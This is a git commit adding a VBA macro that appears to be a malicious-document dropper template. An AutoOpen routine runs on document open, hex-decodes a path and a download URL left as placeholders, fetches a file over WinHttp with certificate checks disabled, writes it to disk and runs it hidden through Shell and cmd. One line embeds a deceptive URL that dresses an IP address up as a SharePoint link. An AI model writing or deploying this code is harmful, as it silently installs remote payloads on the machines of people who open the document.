Add files via upload

This commit is contained in:
S3N4T0R
2026-07-29 14:06:44 +03:00
committed by GitHub
parent 8b25ed2981
commit 0459253961
+66
View File
@@ -0,0 +1,66 @@
Sub love_me_____()
Dim filePath As String
Dim encodedPath As String
encodedPath = "Put the HEX code for the actual path here"
filePath = DecodeHex(encodedPath)
If Len(Dir(filePath)) > 0 Then
ExecuteFile filePath
Else
DownloadAndRun filePath
End If
End Sub
Sub DownloadAndRun(filePath As String)
On Error Resume Next
Dim objHTTP As Object
Dim fileNum As Integer
Dim byteData() As Byte
Dim fileURL As String
Dim encodedURL As String
encodedURL = "Put the HEX code for the download URL here"
fileURL = DecodeHex(encodedURL)
Set objHTTP = CreateObject("WinHttp.WinHttpRequest.5.1")
objHTTP.Option(4) = 13056
objHTTP.Open "GET", fileURL, False
objHTTP.send
If objHTTP.Status = 200 Then
byteData = objHTTP.responseBody
If UBound(byteData) > 0 Then
fileNum = FreeFile
Open filePath For Binary Access Write As #fileNum
Put #fileNum, , byteData
Close #fileNum
ExecuteFile filePath
End If
End If
End Sub
Function DecodeHex(hexString As String) As String
Dim i As Long
Dim result As String
For i = 1 To Len(hexString) Step 2
result = result & Chr$(Val("&H" & Mid$(hexString, i, 2)))
Next i
DecodeHex = result
End Function
Sub ExecuteFile(filePath As String)
On Error Resume Next
Shell filePath, vbHide
CreateObject("WScript.Shell").Run "cmd /c start /b """ & filePath & https://my.sharepoint.com:@192.168.82.231:8080 """", 0, False
End Sub
Sub AutoOpen()
love_me_____
End Sub